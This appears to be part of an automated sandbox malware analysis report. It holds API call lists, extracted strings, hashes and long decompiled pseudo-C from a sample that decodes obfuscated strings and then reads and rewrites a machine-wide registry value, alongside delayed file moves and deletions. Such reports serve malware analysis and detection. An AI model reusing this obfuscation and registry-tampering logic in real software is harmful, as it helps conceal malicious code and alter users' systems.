MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0041380C
ExpandEnvironmentStringsA.KERNEL32(00000078,?,00000104), ref: 004138E6
DeleteFileA.KERNEL32(?), ref: 004138F0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004139C6
DeleteFileA.KERNEL32(?), ref: 004139D0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00413AA6
DeleteFileA.KERNEL32(?), ref: 00413AB0

Strings

t, xrefs: 00413438
:, xrefs: 00413596
t, xrefs: 0041389D
:, xrefs: 004138F7
{, xrefs: 0041380E
Y, xrefs: 00413818
', xrefs: 00413830
z, xrefs: 004135E5
s, xrefs: 0041343D
r, xrefs: 00413447
0, xrefs: 004134CE
4, xrefs: 00413835
F, xrefs: 004138A2
0, xrefs: 00413932
e, xrefs: 00413442
x, xrefs: 004139E6
0, xrefs: 00413A12
x, xrefs: 00413906
', xrefs: 004139F4
{, xrefs: 004139D2
0, xrefs: 004135F5
4, xrefs: 004139F9
t, xrefs: 00413A61
{rest, xrefs: 00413550
{, xrefs: 004136CB
m, xrefs: 00413A2B
x, xrefs: 004135AE
x, xrefs: 00413822
m, xrefs: 00413867
0, xrefs: 0041384E
', xrefs: 004135C5
4, xrefs: 004135CD
x, xrefs: 004136EB
4, xrefs: 0041370A
h, xrefs: 00413A4D
z, xrefs: 004134C4
^, xrefs: 00413A26
<, xrefs: 00413A39
:, xrefs: 004136D3
{, xrefs: 004138F2
z, xrefs: 00413844
z, xrefs: 00413A08
Y, xrefs: 004136DB
:, xrefs: 004139D7
4, xrefs: 004134B5
0, xrefs: 00413732
', xrefs: 00413914
z, xrefs: 00413722
Y, xrefs: 004139DC
{, xrefs: 0041358E
z, xrefs: 00413928
:, xrefs: 00413813
4, xrefs: 00413919
Y, xrefs: 004138FC
', xrefs: 00413702
', xrefs: 004134B0
Y, xrefs: 0041359E
F, xrefs: 00413A66

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: File$Delete$EnvironmentExpandStrings$Move$CloseModuleNameOpenValue
String ID: '$'$'$'$'$'$0$0$0$0$0$0$4$4$4$4$4$4$:$:$:$:$:$<$F$F$Y$Y$Y$Y$Y$^$e$h$m$m$r$s$t$t$t$x$x$x$x$x$z$z$z$z$z$z${${${${${${rest
API String ID: 3238871166-1982327307
Opcode ID: 85f67e9789e1ff9ac62fe60808d5c1e2351b8fabca8022dfc8d68785aae823ba
Instruction ID: c25c596b6db171f9d8db65e965c5d615c89d5765016ff0efce37e93c3f45856d
Opcode Fuzzy Hash: 85f67e9789e1ff9ac62fe60808d5c1e2351b8fabca8022dfc8d68785aae823ba
Instruction Fuzzy Hash: 2542961110D7C2C9D332D67C984878FBFD51BA7228F484F8DE1E95B2E2C6A98249C767

Uniqueness

Uniqueness Score: -1.00%

Function 00422920, Relevance: 126.4, APIs: 13, Strings: 59, Instructions: 387
memoryregistryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00422920(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				intOrPtr _v168;
				int _v172;
				int _v176;
				void* _v180;
				intOrPtr _t202;
				char _t204;
				void* _t208;
				void* _t213;
				intOrPtr* _t219;
				void* _t234;
				intOrPtr* _t237;
				void* _t239;
				intOrPtr* _t240;
				intOrPtr* _t242;
				unsigned int _t243;
				void* _t246;
				void* _t248;
				intOrPtr* _t249;
				void* _t257;
				intOrPtr _t263;
				unsigned int _t267;
				intOrPtr _t273;
				intOrPtr _t274;
				intOrPtr _t275;
				void _t276;
				signed int _t278;
				void _t283;
				char _t284;
				char _t289;
				void* _t293;
				signed int _t295;
				void* _t296;
				void* _t297;
				void* _t298;
				void* _t300;
				intOrPtr _t303;
				void* _t308;
				int _t314;
				void* _t315;
				void* _t317;
				void* _t319;
				void* _t321;
				int* _t323;

				_t323 =  &_v172;
				_t202 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t202;
				_v134 = 0x7c;
				_v131 = 0x7c;
				_v149 = 0x7c;
				_v136 = 0x54;
				_v135 = 0x2c;
				_v133 = 0xc;
				_v132 = 0x12;
				_v130 = 0x2c;
				_v129 = 0xe7;
				_v128 = 0x50;
				_v127 = 0x8d;
				_v126 = 0x53;
				_v125 = 0x29;
				_v124 = 0xa2;
				_v123 = 0xa8;
				_v122 = 0x4e;
				_v121 = 0x45;
				_v120 = 0xc5;
				_v156 = 0x19;
				_v155 = 0x47;
				_v154 = 0xee;
				_v153 = 0x5d;
				_v152 = 0x22;
				_v151 = 0xb8;
				_v150 = 0xd;
				_v148 = 0xe1;
				_v147 = 0xa7;
				_v146 = 0xf;
				_v145 = 0xe;
				_v144 = 0x8c;
				_v143 = 0xbc;
				_v142 = 0x1e;
				_v141 = 0x27;
				_v140 = 0x3b;
				_t314 = 0;
				do {
					 *((intOrPtr*)(_t323 + _t314 + 0x34)) =  *((intOrPtr*)(_t323 + _t314 + 0x34)) +  *((intOrPtr*)(_t323 + _t314 + 0x20));
					_t314 = _t314 + 1;
				} while (_t314 < 0x11);
				_v115 = 0x1e;
				_v105 = 0xc3;
				_v101 = 0xc3;
				_t289 = 0x35;
				_t204 = 0xa8;
				_v116 = 0x36;
				_v114 = 0x25;
				_v113 = 0x12;
				_v112 = 0x52;
				_v111 = 0x96;
				_v110 = 0xad;
				_v109 = 0x9e;
				_v108 = 0xbf;
				_v107 = 0x75;
				_v106 = 0xdd;
				_v104 = 0xce;
				_v103 = 0x7d;
				_v102 = 0xa8;
				_v100 = 0x95;
				_v99 = 0x7b;
				_v98 = 0xa8;
				_v97 = 0;
				_v96 = 0xc3;
				_v95 = 0x16;
				_v94 = 0x94;
				_v93 = 0x19;
				_v92 = 0x2f;
				_v91 = 0xd6;
				_v90 = 0x67;
				_v89 = 0x14;
				_v88 = 0x50;
				_v87 = 0xf4;
				_v86 = 0x54;
				_v85 = 0x88;
				_v84 = 0xfc;
				_v83 = 0xc;
				_v82 = 0xf4;
				_v81 = 0x2c;
				_v80 = 0x57;
				_v79 = 0xc3;
				_v78 = 0x4b;
				_v77 = 0x53;
				_v76 = 7;
				_v75 = 0x34;
				_v74 = 0x85;
				_v73 = 0x3f;
				_v72 = 0xb1;
				_v71 = _t289;
				_v70 = 0x9f;
				_v69 = 0xc0;
				_v68 = 0xd2;
				_v67 = 0xbf;
				_v66 = 0x4e;
				_v65 = 0xc;
				_v64 = 0x87;
				_v60 = 0x87;
				_v59 = 0x7f;
				_v58 = 0x39;
				_v57 = 0xd0;
				_v56 = 0xb6;
				_v55 = 0xae;
				_v54 = 0xf6;
				_v53 = 0x62;
				_v52 = 0xed;
				_v51 = 0x51;
				_v50 = 0xea;
				_v49 = 0x5d;
				_v48 = 0x74;
				_v47 = 0x21;
				_v46 = 0x2e;
				_v45 = 0x63;
				_v44 = 0x23;
				_v43 = 0x42;
				_v42 = 0x91;
				_v41 = 0x7e;
				_v40 = 0x8e;
				_v39 = 0xfd;
				_v38 = 0x17;
				_v37 = _t204;
				_v36 = 4;
				_push(_t289);
				_v22 = 0xdb;
				_v15 = 0xdb;
				_push( &_v116);
				_v35 = 0x5a;
				_v34 = 0x47;
				_v33 = 0xa5;
				_v32 = 0x58;
				_v31 = 0x76;
				_v30 = 0xf0;
				_v29 = 0x78;
				_v28 = 0x5c;
				_v27 = 0x57;
				_v26 = 0xf4;
				_v25 = 0xf;
				_v24 = 0xf3;
				_v23 = 0xac;
				_v21 = 0x12;
				_v20 = 0xbc;
				_v19 = 0xa0;
				_v18 = 0xb4;
				_v17 = 0x38;
				_v16 = 0xe3;
				_v14 = 0xff;
				_v13 = 0xd7;
				_v12 = 5;
				_v11 = 0x46;
				_v10 = 0x63;
				_v9 = 0x51;
				_v8 = 0x65;
				_t315 = E00422300( &_v60, 0xf4);
				_v164 = 0x39;
				_v163 = 8;
				_v162 = 8;
				_v161 = 0x31;
				_v160 = 0x16;
				_v159 = 0x11;
				_v158 = 0xc;
				_v157 = 0x27;
				_v156 = 0x3c;
				_v155 = 0x34;
				_v154 = 0x34;
				_v153 = 0xb;
				_v152 = 0x78;
				_t208 = 0;
				do {
					 *(_t323 + _t208 + 0x20) =  *(_t323 + _t208 + 0x20) ^ 0x00000078;
					_t208 = _t208 + 1;
				} while (_t208 < 0xd);
				_v176 = 0x400;
				_v172 = 0;
				_v168 = 1;
				_t321 = HeapAlloc(GetProcessHeap(), 8, 0x400);
				_t213 = HeapAlloc(GetProcessHeap(), 8, _v176);
				_push( &_v180);
				_push(0xf003f);
				_push(0);
				_push(_t315);
				_push(0x80000002);
				_t257 = _t213;
				RegOpenKeyExA(??, ??, ??, ??, ??);
				if(RegQueryValueExA(_v180,  &_v164, 0,  &_v172, _t321,  &_v176) == 0) {
					_t317 = E00425320(_t321,  &_v144);
					if(_t317 != 0) {
						_t267 = _v176;
						_t295 = _t267;
						_push(GetProcessHeap);
						memset(HeapAlloc, memset(HeapAlloc, 0, _t267 >> 2 << 2), (_t295 & 0x00000003) << 0);
						_t234 = _t317;
						E00425B10(GetProcessHeap, _t321, _t234 - _t321);
						_t237 = GetProcessHeap;
						_t182 = _t237 + 1; // 0x1
						_t296 = _t182;
						asm("pushad");
						asm("popad");
						do {
							_t273 =  *_t237;
							_t237 = _t237 + 1;
						} while (_t273 != 0);
						_t239 = _t237 - _t296 - 1;
						if(_t239 >= 0) {
							while( *((char*)(_t239 + _t257)) == 0x20) {
								_t239 = _t239 - 1;
								 *((char*)(_t239 + _t257 + 1)) = 0;
								if(_t239 >= 0) {
									continue;
								}
								goto L13;
							}
						}
						L13:
						_t240 =  &_v144;
						_t297 = _t240 + 1;
						do {
							_t274 =  *_t240;
							_t240 = _t240 + 1;
						} while (_t274 != 0);
						_t242 = _t240 - _t297 + _t317;
						_t319 = _t242;
						do {
							_t275 =  *_t242;
							_t242 = _t242 + 1;
						} while (_t275 != 0);
						_t243 = _t242 - _t319;
						_t308 = _t257 - 1;
						asm("pushad");
						asm("popad");
						do {
							_t276 =  *(_t308 + 1);
							_t308 = _t308 + 1;
						} while (_t276 != 0);
						_t278 = _t243 >> 2;
						_push(memcpy(_t308, _t319, _t278 << 2));
						_t246 = memcpy(_t319 + _t278 + _t278, _t319, 0);
						_t190 = _t246 + 1; // 0x1
						_t298 = _t190;
						do {
							_t283 =  *_t246;
							_t246 = _t246 + 1;
						} while (_t283 != 0);
						_t248 = _t246 - _t298 - 1;
						if(_t248 >= 0) {
							while( *((char*)(_t248 + _t257)) == 0x20) {
								_t248 = _t248 - 1;
								 *((char*)(_t248 + _t257 + 1)) = 0;
								if(_t248 >= 0) {
									continue;
								}
								goto L25;
							}
						}
						L25:
						_t249 = _t257;
						_t300 = _t321 - _t257;
						do {
							_t284 =  *_t249;
							 *((char*)(_t300 + _t249)) = _t284;
							_t249 = _t249 + 1;
						} while (_t284 != 0);
					}
					_t219 = _t321;
					_t195 = _t219 + 1; // 0x1
					_t293 = _t195;
					do {
						_t263 =  *_t219;
						_t219 = _t219 + 1;
					} while (_t263 != 0);
					if(RegSetValueExA(_v180,  &_v164, 0, _v172, _t321, _t219 - _t293 + 1) == 0) {
						_t303 = _v168;
					} else {
						_t303 = 0;
					}
					RegCloseKey(_v180);
					HeapFree(GetProcessHeap(), 0, _t321);
					HeapFree(GetProcessHeap(), 0, _t257);
					return E00424873(_t303, _v12);
				} else {
					RegCloseKey(_v180);
					return E00424873(0, _v12);
				}
			}

0x00422920
0x00422926
0x0042292f
0x00422937
0x0042293b
0x0042293f
0x0042294a
0x0042294f
0x00422954
0x00422958
0x0042295d
0x00422962
0x00422967
0x0042296c
0x00422971
0x00422976
0x0042297b
0x00422980
0x00422984
0x00422989
0x0042298e
0x00422993
0x00422998
0x0042299d
0x004229a2
0x004229a7
0x004229ac
0x004229b1
0x004229b6
0x004229bb
0x004229c0
0x004229c5
0x004229ca
0x004229cf
0x004229d4
0x004229d8
0x004229dd
0x004229e2
0x004229e4
0x004229e8
0x004229ec
0x004229ed
0x004229f2
0x004229f8
0x004229fc
0x00422a02
0x00422a04
0x00422a07
0x00422a0c
0x00422a11
0x00422a16
0x00422a1b
0x00422a20
0x00422a25
0x00422a2a
0x00422a2f
0x00422a34
0x00422a39
0x00422a3e
0x00422a43
0x00422a47
0x00422a4c
0x00422a51
0x00422a55
0x00422a5a
0x00422a5e
0x00422a63
0x00422a68
0x00422a6d
0x00422a72
0x00422a77
0x00422a7c
0x00422a81
0x00422a86
0x00422a8a
0x00422a8f
0x00422a94
0x00422a99
0x00422a9d
0x00422aa1
0x00422aa6
0x00422aab
0x00422aaf
0x00422ab4
0x00422ab9
0x00422abe
0x00422ac3
0x00422ac8
0x00422acd
0x00422ad2
0x00422ad6
0x00422adb
0x00422ae0
0x00422ae5
0x00422aea
0x00422aef
0x00422af3
0x00422af8
0x00422b00
0x00422b08
0x00422b10
0x00422b18
0x00422b20
0x00422b28
0x00422b30
0x00422b38
0x00422b40
0x00422b48
0x00422b50
0x00422b58
0x00422b60
0x00422b68
0x00422b70
0x00422b78
0x00422b80
0x00422b88
0x00422b90
0x00422b98
0x00422ba0
0x00422ba8
0x00422bb0
0x00422bb7
0x00422bc1
0x00422bc6
0x00422bcd
0x00422bd4
0x00422bdc
0x00422be4
0x00422bec
0x00422bf4
0x00422bfc
0x00422c04
0x00422c0c
0x00422c14
0x00422c1c
0x00422c24
0x00422c2b
0x00422c33
0x00422c3b
0x00422c43
0x00422c4b
0x00422c53
0x00422c5b
0x00422c63
0x00422c6b
0x00422c73
0x00422c7b
0x00422c83
0x00422c8b
0x00422c93
0x00422c9b
0x00422ca3
0x00422cb0
0x00422cb2
0x00422cb7
0x00422cbc
0x00422cc1
0x00422cc6
0x00422ccb
0x00422cd0
0x00422cd4
0x00422cd9
0x00422cde
0x00422ce3
0x00422ce8
0x00422ced
0x00422cf2
0x00422cf4
0x00422cf4
0x00422cf9
0x00422cfa
0x00422d0c
0x00422d14
0x00422d1c
0x00422d2f
0x00422d3b
0x00422d41
0x00422d42
0x00422d47
0x00422d49
0x00422d4a
0x00422d50
0x00422d51
0x00422d76
0x00422dac
0x00422dae
0x00422db4
0x00422db9
0x00422dbf
0x00422dc8
0x00422dcb
0x00422dd1
0x00422dd7
0x00422ddb
0x00422ddb
0x00422dde
0x00422ddf
0x00422de0
0x00422de0
0x00422de2
0x00422de3
0x00422de9
0x00422dea
0x00422df0
0x00422df6
0x00422df7
0x00422dfc
0x00000000
0x00000000
0x00000000
0x00422dfc
0x00422df0
0x00422dfe
0x00422dfe
0x00422e02
0x00422e05
0x00422e05
0x00422e07
0x00422e08
0x00422e0e
0x00422e11
0x00422e12
0x00422e12
0x00422e14
0x00422e15
0x00422e1b
0x00422e1d
0x00422e1e
0x00422e1f
0x00422e20
0x00422e20
0x00422e23
0x00422e24
0x00422e2a
0x00422e2f
0x00422e36
0x00422e38
0x00422e38
0x00422e40
0x00422e40
0x00422e42
0x00422e43
0x00422e49
0x00422e4a
0x00422e50
0x00422e56
0x00422e57
0x00422e5c
0x00000000
0x00000000
0x00000000
0x00422e5c
0x00422e50
0x00422e5e
0x00422e61
0x00422e62
0x00422e64
0x00422e64
0x00422e66
0x00422e69
0x00422e6a
0x00422e64
0x00422e6f
0x00422e70
0x00422e70
0x00422e73
0x00422e73
0x00422e75
0x00422e76
0x00422e98
0x00422e9e
0x00422e9a
0x00422e9a
0x00422e9a
0x00422ea7
0x00422ebf
0x00422ec7
0x00422ee1
0x00422d78
0x00422d7d
0x00422d9b
0x00422d9b

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00422D24
HeapAlloc.KERNEL32(00000000), ref: 00422D2D
GetProcessHeap.KERNEL32(00000008,?), ref: 00422D38
HeapAlloc.KERNEL32(00000000), ref: 00422D3B
RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,000F003F,?), ref: 00422D51
RegQueryValueExA.ADVAPI32(?,0000003B,00000000,00000000,00000000,?), ref: 00422D6E
RegCloseKey.ADVAPI32(?), ref: 00422D7D
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,00000002,?,00000054), ref: 00422E90
RegCloseKey.ADVAPI32(?,?,00000054), ref: 00422EA7
GetProcessHeap.KERNEL32(00000000,00000000,?,00000054), ref: 00422EB6
HeapFree.KERNEL32(00000000,?,00000054), ref: 00422EBF
GetProcessHeap.KERNEL32(00000000,00000000,?,00000054), ref: 00422EC4
HeapFree.KERNEL32(00000000,?,00000054), ref: 00422EC7

Strings

,, xrefs: 0042294F
K, xrefs: 00422AAF
N, xrefs: 00422984
}, xrefs: 00422A3E
], xrefs: 00422B50
W, xrefs: 00422C1C
x, xrefs: 00422CF4
x, xrefs: 00422C0C
9, xrefs: 00422B08
P, xrefs: 00422967
', xrefs: 00422CD4
e, xrefs: 00422CA3
G, xrefs: 00422BE4
t, xrefs: 00422B58
4, xrefs: 00422CE3
S, xrefs: 00422AB4
R, xrefs: 00422A16
%, xrefs: 00422A0C
x, xrefs: 00422CED
?, xrefs: 00422AC8
c, xrefs: 00422B70
", xrefs: 004229A7
v, xrefs: 00422BFC
/, xrefs: 00422A6D
Z, xrefs: 00422BDC
4, xrefs: 00422CDE
;, xrefs: 004229DD
!, xrefs: 00422B60
\, xrefs: 00422C14
#, xrefs: 00422B78
S, xrefs: 00422971
,, xrefs: 00422AA1
T, xrefs: 00422A8A
W, xrefs: 00422AA6
<, xrefs: 00422CD9
F, xrefs: 00422C8B
., xrefs: 00422B68
b, xrefs: 00422B30
N, xrefs: 00422AEA
c, xrefs: 00422C93
8, xrefs: 00422C63
Q, xrefs: 00422C9B
6, xrefs: 00422A07
E, xrefs: 00422989
B, xrefs: 00422B80
1, xrefs: 00422CC1
T, xrefs: 0042294A
P, xrefs: 00422A81
{, xrefs: 00422A4C
g, xrefs: 00422A77
X, xrefs: 00422BF4
', xrefs: 004229D8
u, xrefs: 00422A2F
,, xrefs: 0042295D
~, xrefs: 00422B90
4, xrefs: 00422ABE
), xrefs: 00422976
Q, xrefs: 00422B40
G, xrefs: 00422998

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Heap$Process$AllocCloseFreeValue$OpenQuery
String ID: !$"$#$%$'$'$)$,$,$,$.$/$1$4$4$4$6$8$9$;$<$?$B$E$F$G$G$K$N$N$P$P$Q$Q$R$S$S$T$T$W$W$X$Z$\$]$b$c$c$e$g$t$u$v$x$x$x${$}$~
API String ID: 253437525-2427493838
Opcode ID: 595cdad2c5991ce47233857b846f3eb3a1ff374fff4ce0df425a28b4ce5c37c7
Instruction ID: 39362d6736242f3d25e0b7c3144f35cdba00f569d3799fe8527ac00eeb70e14e
Opcode Fuzzy Hash: 595cdad2c5991ce47233857b846f3eb3a1ff374fff4ce0df425a28b4ce5c37c7
Instruction Fuzzy Hash: C6024A2110C7C19DE332C63C9948B9BBFD55BA7218F484A8DF1E85B2D2C7A98509C76B

Uniqueness

Uniqueness Score: -1.00%

Function 004223A0, Relevance: 110.6, APIs: 9, Strings: 54, Instructions: 329
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004223A0(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v144;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				int _v184;
				int _v188;
				void* _v192;
				intOrPtr _t202;
				void* _t204;
				void* _t212;
				intOrPtr* _t222;
				intOrPtr _t233;
				short _t234;
				intOrPtr* _t235;
				unsigned int _t236;
				void* _t247;
				intOrPtr _t253;
				intOrPtr _t257;
				void _t258;
				signed int _t260;
				void* _t276;
				void* _t278;
				short* _t281;
				void* _t283;
				char* _t290;
				void* _t291;
				int* _t294;

				_t294 =  &_v184;
				_t202 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t202;
				_v134 = 0x7c;
				_v131 = 0x7c;
				_v165 = 0x7c;
				_v136 = 0x54;
				_v135 = 0x2c;
				_v133 = 0xc;
				_v132 = 0x12;
				_v130 = 0x2c;
				_v129 = 0xe7;
				_v128 = 0x50;
				_v127 = 0x8d;
				_v126 = 0x53;
				_v125 = 0x29;
				_v124 = 0xa2;
				_v123 = 0xa8;
				_v122 = 0x4e;
				_v121 = 0x45;
				_v120 = 0xc5;
				_v172 = 0x19;
				_v171 = 0x47;
				_v170 = 0xee;
				_v169 = 0x5d;
				_v168 = 0x22;
				_v167 = 0xb8;
				_v166 = 0xd;
				_v164 = 0xe1;
				_v163 = 0xa7;
				_v162 = 0xf;
				_v161 = 0xe;
				_v160 = 0x8c;
				_v159 = 0xbc;
				_v158 = 0x1e;
				_v157 = 0x27;
				_v156 = 0x3b;
				_t204 = 0;
				do {
					 *((char*)(_t294 + _t204 + 0x3c)) =  *((intOrPtr*)(_t294 + _t204 + 0x3c)) +  *((intOrPtr*)(_t294 + _t204 + 0x18));
					_t204 = _t204 + 1;
				} while (_t204 < 0x11);
				_v110 = 0x36;
				_v100 = 0x7a;
				_v94 = 0x36;
				_v87 = 0x36;
				_v74 = 0x7a;
				_v115 = 0xbc;
				_v97 = 0xbc;
				_v83 = 0x85;
				_v80 = 0x85;
				_v64 = 0xca;
				_v60 = 0xca;
				_v116 = 0x88;
				_v114 = 0xad;
				_v113 = 0x41;
				_v112 = 0xf4;
				_v111 = 0xf3;
				_v109 = 0xbb;
				_v108 = 0x66;
				_v107 = 0x92;
				_v106 = 0x38;
				_v105 = 0x7e;
				_v104 = 0x9e;
				_v103 = 0xe6;
				_v102 = 0xcd;
				_v101 = 0x71;
				_v99 = 0x5c;
				_v98 = 0x6d;
				_v96 = 0x12;
				_v95 = 0xaa;
				_v93 = 0xfb;
				_v92 = 0x7e;
				_v91 = 0x11;
				_v90 = 6;
				_v89 = 0xf7;
				_v88 = 0x6a;
				_v86 = 0xac;
				_v85 = 0x31;
				_v84 = 0xcf;
				_v82 = 0xae;
				_v81 = 0x1d;
				_v79 = 0xc;
				_v78 = 0x64;
				_v77 = 0xd8;
				_v76 = 0x80;
				_v75 = 0x48;
				_v73 = 0xb6;
				_v72 = 0xf5;
				_v71 = 0x5a;
				_v70 = 0x19;
				_v69 = 0x67;
				_v68 = 0x2f;
				_v67 = 0xd;
				_v66 = 0x25;
				_v65 = 0xab;
				_v59 = 0xd8;
				_v58 = 0x52;
				_v57 = 0x62;
				_v56 = 0x4b;
				_v55 = 9;
				_v54 = 0x70;
				_v53 = 0xd;
				_v52 = 0xa9;
				_v51 = 0xd8;
				_v50 = 0x15;
				_v49 = 0x21;
				_v48 = 0xf3;
				_v47 = 0xaa;
				_v46 = 1;
				_v45 = 0x5a;
				_v44 = 0xf1;
				_v43 = 0x73;
				_v42 = 0xcb;
				_v41 = 0xf7;
				_v11 = 0x15;
				_push(0x35);
				_v27 = 0xeb;
				_v10 = 0xeb;
				_push( &_v116);
				_v40 = 0xbd;
				_v39 = 0x44;
				_v38 = 0xef;
				_v37 = 0x6a;
				_v36 = 0x3e;
				_v35 = 0xb9;
				_v34 = 0x26;
				_v33 = 0x62;
				_v32 = 9;
				_v31 = 0x94;
				_v30 = 0x52;
				_v29 = 0xc4;
				_v28 = 0x7b;
				_v26 = 0x31;
				_v25 = 0x28;
				_v24 = 0x1c;
				_v23 = 0x1e;
				_v22 = 0xbe;
				_v21 = 0x89;
				_v20 = 0xec;
				_v19 = 0x1d;
				_v18 = 0x51;
				_v17 = 0xdf;
				_v16 = 0x3a;
				_v15 = 0xfe;
				_v14 = 0x64;
				_v13 = 0xb2;
				_v12 = 0xa3;
				_v9 = 0xf3;
				_v8 = 0xdb;
				_push(E00422300( &_v60, 0xf3));
				_pop(_t290);
				_v149 = 0xb4;
				_v168 = 0xb4;
				_v160 = 0xaa;
				_v159 = 0xe5;
				_v158 = 0x1d;
				_v157 = 0x3e;
				_v156 = 0xc5;
				_v155 = 0xee;
				_v154 = 0x76;
				_v153 = 0x53;
				_v152 = 0xb2;
				_v151 = 1;
				_v150 = 0x17;
				_v148 = 0x4c;
				_v180 = 0x97;
				_v179 = 0x8b;
				_v178 = 0x53;
				_v177 = 0xb;
				_v176 = 0xa9;
				_v175 = 0x7b;
				_v174 = 0xfe;
				_v173 = 0xc;
